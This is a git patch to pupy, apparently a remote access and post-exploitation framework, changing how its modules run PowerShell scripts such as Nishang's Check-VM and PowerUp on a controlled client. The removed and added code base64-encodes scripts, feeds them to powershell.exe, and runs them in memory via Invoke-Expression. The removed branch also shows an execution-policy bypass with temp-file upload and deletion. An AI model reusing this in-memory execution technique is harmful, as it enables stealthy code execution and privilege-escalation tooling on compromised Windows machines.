From f3af4aa726666cb36557d1c70c959eddcd10d7d7 Mon Sep 17 00:00:00 2001 From: Alessandro ZANNI Date: Sun, 24 Jul 2016 21:50:11 +0200 Subject: [PATCH] fix powershell upload --- pupy/modules/check_vm.py | 2 +- .../upload_powershell_script_template.ps1 | 10 --- pupy/modules/lib/windows/powershell_upload.py | 63 ++++++------------- pupy/modules/powerup.py | 2 +- 4 files changed, 21 insertions(+), 56 deletions(-) delete mode 100644 pupy/modules/lib/utils/upload_powershell_script_template.ps1 diff --git a/pupy/modules/check_vm.py b/pupy/modules/check_vm.py index 8c3a0b42..3d0b0cf8 100644 --- a/pupy/modules/check_vm.py +++ b/pupy/modules/check_vm.py @@ -17,4 +17,4 @@ class CheckVM(PupyModule): content = open(os.path.join(ROOT, "external", "Nishang", "Check-VM.ps1"), 'r').read() function = 'Check-VM' output = execute_powershell_script(self, content, function) - self.success("Output of the script: \n%s" % output) \ No newline at end of file + self.success("%s" % output) \ No newline at end of file diff --git a/pupy/modules/lib/utils/upload_powershell_script_template.ps1 b/pupy/modules/lib/utils/upload_powershell_script_template.ps1 deleted file mode 100644 index dc8d0d79..00000000 --- a/pupy/modules/lib/utils/upload_powershell_script_template.ps1 +++ /dev/null @@ -1,10 +0,0 @@ -$base64 = "[BASE64]" -$data = [System.Convert]::FromBase64String($base64) -$ms = New-Object System.IO.MemoryStream -$ms.Write($data, 0, $data.Length) -$ms.Seek(0,0) | Out-Null -$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress) -$sr = New-Object System.IO.StreamReader($cs) -$t = $sr.readtoend() -Invoke-Expression $t -Invoke-Expression [FUNCTION_NAME] \ No newline at end of file diff --git a/pupy/modules/lib/windows/powershell_upload.py b/pupy/modules/lib/windows/powershell_upload.py index 472fb8ba..7c1a309d 100644 --- a/pupy/modules/lib/windows/powershell_upload.py +++ b/pupy/modules/lib/windows/powershell_upload.py @@ -1,54 +1,29 @@ from rpyc.utils.classic import upload import base64 -import tempfile -import gzip -import StringIO +from subprocess import PIPE, Popen import subprocess -import os - -ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", "..")) def execute_powershell_script(module, content, function): - template = open(os.path.join(ROOT, "modules", "lib", "utils", "upload_powershell_script_template.ps1"), 'r').read() + fullargs=["powershell.exe", "-C", "-"] - # compress the content of the script to upload - out = StringIO.StringIO() - with gzip.GzipFile(fileobj=out, mode="w") as f: - f.write(content) + p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True) + p.stdin.write("$base64=\"\""+"\n") + n = 20000 + line = base64.b64encode(content) + tab = [line[i:i+n] for i in range(0, len(line), n)] + for t in tab: + p.stdin.write("$base64+=\"%s\"\n" % t) + p.stdin.flush() - # encode the gzip content in base64 - encoded = base64.b64encode(out.getvalue()) - - # replace meta data from the template - template = template.replace('[BASE64]', encoded) - template = template.replace('[FUNCTION_NAME]', function) + p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") + p.stdin.write("Invoke-Expression $d\n") + p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function) + p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") + p.stdin.write("Write-Host $b\n") + # Get the result output = "" - # execute of the powershell script in memory if the size is lower of the max size - if len(template) < 32710: - module.success("Executing the powershell code on memory") - cmd = [] - cmd.append('powershell.exe') - cmd.append('/c') - cmd.append(template) - output = module.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True) - else: - tf = tempfile.NamedTemporaryFile() - f = open(tf.name, 'w') - f.write(template) - f.close() - - remoteTempFolder = module.client.conn.modules['os.path'].expandvars("%TEMP%") - tfName = tf.name.split(os.sep) - tfName = tfName[len(tfName)-1] - - module.success("Uploading powershell code to: %s\%s.ps1" % (remoteTempFolder, tfName)) - upload(module.client.conn, tf.name, module.client.conn.modules['os.path'].join(remoteTempFolder, '%s.ps1' % tfName)) - - module.success("Executing the powershell code") - output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s.ps1"%(module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) - - module.success("Removing the powershell code") - module.client.conn.modules.subprocess.check_output("cmd.exe del %s.ps1" % (module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) - + for i in p.stdout.readline(): + output += i + output = base64.b64decode(output) return output \ No newline at end of file diff --git a/pupy/modules/powerup.py b/pupy/modules/powerup.py index 1669eb64..7332b680 100644 --- a/pupy/modules/powerup.py +++ b/pupy/modules/powerup.py @@ -23,4 +23,4 @@ class PowerUp(PupyModule): # parse output depending on the PowerUp output output = output.replace('\r\n\r\n\r\n', '\r\n\r\n').replace("\n\n", "\n").replace("\n\n", "\n") - self.success("Output of the script: \n%s" % output) \ No newline at end of file + self.success("%s" % output) \ No newline at end of file